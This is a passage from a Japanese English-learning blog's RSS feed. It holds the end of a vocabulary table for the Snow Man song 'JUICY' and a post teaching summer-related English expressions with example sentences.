<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>show me love</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">私に愛を見せて。ただ、loveにかかるyouの所有格yourが抜けています。正確には show me your love</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>juicy</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】魅力的な、面白い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>flavor</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">フレーバー、味</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>emotion</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">気持ち、感情</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>let 人 down</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜をがっかりさせる。この歌詞の場合、否定系なので「〜をがっかりさせない」</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sip</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を少しずつ飲む</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be addicted to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>drip</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">滴</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>journey to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜への旅</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>in ones arms</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を抱きしめる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>swirl</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">渦巻</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hurricane</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ハリケーン</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cruise　</strong></td>
<td style="width: 62.9762%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【スラング】ドライブする</td>
</tr>
</tbody>
</table>


<p></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="138" height="114" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/10/1fb8c4b80eb08389c02ceb388519f11b.png?resize=138%2C114&#038;ssl=1" alt="" class="wp-image-3547" style="width:343px;height:auto"/></figure>



<p></p>The post <a href="https://ffeng.jp/2025/03/05/juicy/">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/09/28/snow-man/' title='Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://mentrecording.jp/snowman/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/09/20250908-tr-0000081.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 英語で学ぶフレーズ完全ガイド｜推し活英会話の入口</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4062</post-id>	</item>
		<item>
		<title>&#x1f31e; 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！</title>
		<link>https://ffeng.jp/2024/08/20/summer-english-expressions-2/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Tue, 20 Aug 2024 09:28:00 +0000</pubDate>
				<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[ジャンル別]]></category>
		<category><![CDATA[トラベル英会話]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[日本文化を英語で伝えよう]]></category>
		<category><![CDATA[異文化間コミュニケーション]]></category>
		<category><![CDATA[SNS]]></category>
		<category><![CDATA[イベント]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[ハッシュタグ]]></category>
		<category><![CDATA[夏]]></category>
		<category><![CDATA[夏の表現]]></category>
		<category><![CDATA[英会話]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=4666</guid>

					<description><![CDATA[<p>夏の英語表現をまとめました。暑さ・花火・夏祭り・スラングまで30フレーズを例文つきで解説。日本の夏を英語で説明する方法も紹介します。</p>
The post <a href="https://ffeng.jp/2024/08/20/summer-english-expressions-2/">🌞 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-text-welcome-summer-in-a-chalkboard-on-the-sand-of-a-beach.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/18/feel/' title='本動詞をマスター！Feelで気分を伝えてみよう！'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2019/07/feel-678x381-1-678x381-1.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">本動詞をマスター！Feelで気分を伝えてみよう！</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/04/20/kissinmylips/' title='Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://post.tv-asahi.co.jp/post-131170/" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/04/kissing.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『KISSIN&#8217; MY LIPS』和訳。セクシーな恋の駆け引き</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3dd.png" alt="🏝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> はじめに</h2>



<p>夏といえば、海、花火、夏祭り、そしてうだるような暑さ。<br>でも、こうした「日本の夏」を英語でどう表現すればいいのか迷ったことはありませんか？　</p>



<p>本記事では、<strong>「夏の英語表現30選」</strong> をご紹介します。<br>暑さを表す言葉から、花火大会や夏祭りといった日本独特のイベント、さらにネイティブがSNSでよく使うスラングやおしゃれフレーズまで幅広く解説。</p>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> この記事を読めば、海外の友達との会話や英会話レッスンで「夏の話題」をスムーズに楽しめます！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31e.png" alt="🌞" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 夏を表す基本表現</h2>



<h3 class="wp-block-heading">「夏」を意味する単語</h3>



<ul class="wp-block-list">
<li>summer（夏）</li>



<li>midsummer（真夏）</li>



<li>summertime（夏の季節）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 例文</strong><br>&#8211; Summer is my favorite season.（夏は私の一番好きな季節です。）<br>&#8211; It feels like midsummer already.（もう真夏みたいだね。）</p>



<h3 class="wp-block-heading">暑さを表す英語</h3>



<ul class="wp-block-list">
<li>hot（暑い）</li>



<li>boiling / scorching（焼けつくように暑い）</li>



<li>sweltering（蒸し暑い）</li>



<li>heatwave（熱波）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 会話例</strong><br>A: It’s boiling today!（今日はめちゃくちゃ暑いね！）<br>B: Yeah, I can’t stand this heat.（ほんと、この暑さ耐えられないよ。）</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f386.png" alt="🎆" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 夏のイベントを英語で説明する</h2>



<h3 class="wp-block-heading">花火大会（fireworks festival）</h3>



<ul class="wp-block-list">
<li>fireworks festival（花火大会）</li>



<li>fireworks display（花火大会、打ち上げ花火）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 例文</strong><br>&#8211; I went to a fireworks festival last weekend.（先週末、花火大会に行きました。）<br>&#8211; In Japan, we wear yukata, a summer kimono, when we watch fireworks.（日本では浴衣を着て花火を見るんです。）</p>



<h3 class="wp-block-heading">夏祭り（summer festival）</h3>



<ul class="wp-block-list">
<li>festival stalls（屋台）</li>



<li>cotton candy（わたあめ）</li>



<li>goldfish scooping（金魚すくい）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 例文</strong><br>&#8211; Japanese summer festivals have many food stalls.（日本の夏祭りには屋台がたくさんあります。）<br>&#8211; Kids love goldfish scooping.（子供たちは金魚すくいが大好きです。）</p>



<h3 class="wp-block-heading">海やプール</h3>



<ul class="wp-block-list">
<li>go swimming（泳ぎに行く）</li>



<li>beach vacation（海辺の休暇）</li>



<li>sunbathing（日光浴）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 例文</strong><br>&#8211; We went sunbathing at the beach.（私たちはビーチで日光浴をしました。）<br>&#8211; The pool was so crowded during summer vacation.（夏休み中、プールはとても混んでいました。）</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f60e.png" alt="😎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 夏のスラング＆おしゃれ表現</h2>



<h3 class="wp-block-heading">ネイティブが使うカジュアルフレーズ</h3>



<ul class="wp-block-list">
<li>summer vibes（夏っぽい雰囲気）</li>



<li>dog days of summer（夏の最も暑い時期）</li>



<li>beach bum（海でだらだら過ごす人）</li>
</ul>



<p><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 例文</strong><br>&#8211; Loving the summer vibes!（夏っぽい雰囲気最高！）<br>&#8211; We’re in the dog days of summer.（夏の一番暑い時期だね。）</p>



<h3 class="wp-block-heading">SNS映えする英語フレーズ</h3>



<ul class="wp-block-list">
<li>Hot girl summer（自由で楽しい夏を過ごすこと）</li>



<li>Sea the day（海で一日を楽しもう／carpe diemの言葉遊び）</li>



<li>Sandy toes, sun-kissed nose（砂まみれの足と日焼けした鼻 → 夏満喫！）</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4d6.png" alt="📖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 夏の思い出を英語で語る</h2>



<h3 class="wp-block-heading">夏休みの思い出</h3>



<ul class="wp-block-list">
<li>I went camping with my family.（家族とキャンプに行きました。）</li>



<li>We had a barbecue at the beach.（ビーチでバーベキューをしました。）</li>
</ul>



<h3 class="wp-block-heading">日本の夏文化を説明する</h3>



<ul class="wp-block-list">
<li>In Japan, we eat shaved ice called kakigōri in summer.（日本では夏にかき氷を食べます。）</li>



<li>Cicadas are the sound of summer in Japan.（セミの声は日本の夏の音です。）</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> まとめ：今日から使える夏フレーズ10選</h2>



<ol class="wp-block-list">
<li>It’s scorching hot today!（今日は焼けつくように暑い！）</li>



<li>Let’s go to a fireworks festival.（花火大会に行こう。）</li>



<li>The summer festival was so much fun.（夏祭りはとても楽しかった。）</li>



<li>I wore a yukata at the festival.（お祭りで浴衣を着ました。）</li>



<li>I love the summer vibes.（夏の雰囲気が大好きです。）</li>



<li>We went sunbathing at the beach.（ビーチで日光浴しました。）</li>



<li>The cicadas are so loud in summer.（夏はセミの声がすごく大きい。）</li>



<li>It feels like midsummer already.（もう真夏みたいだね。）</li>



<li>Kids love goldfish scooping.（子供たちは金魚すくいが大好きです。）</li>



<li>Hot girl summer!（最高に楽しい夏！）</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> まとめ</h2>



<p>この記事では、<strong>夏に関する英語表現50選</strong> を紹介しました。<br>「暑さを表す言葉」から「夏祭りや花火大会の表現」、「SNS映えするスラング」まで、幅広く学べたと思います。</p>



<p><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 今日から早速、会話やSNS投稿で使ってみましょう！</p>



<p></p>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&amp;linkname=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2024%2F08%2F20%2Fsummer-english-expressions-2%2F&#038;title=%F0%9F%8C%9E%20%E5%A4%8F%E3%81%AE%E8%8B%B1%E8%AA%9E%E8%A1%A8%E7%8F%BE30%E9%81%B8%EF%BD%9C%E6%9A%91%E3%81%95%E3%83%BB%E8%8A%B1%E7%81%AB%E3%83%BB%E5%A4%8F%E4%BC%91%E3%81%BF%E3%82%92%E8%8B%B1%E8%AA%9E%E3%81%A7%E8%A9%B1%E3%81%9D%E3%81%86%EF%BC%81" data-a2a-url="https://ffeng.jp/2024/08/20/summer-english-expressions-2/" data-a2a-title="🌞 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！"></a></p>The post <a href="https://ffeng.jp/2024/08/20/summer-english-expressions-2/">🌞 夏の英語表現30選｜暑さ・花火・夏休みを英語で話そう！</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/08/20/summer-english-expressions/' title='【夏の英語表現150選】暑さ・イベント・スラング・思い出を英語で話そう！'>
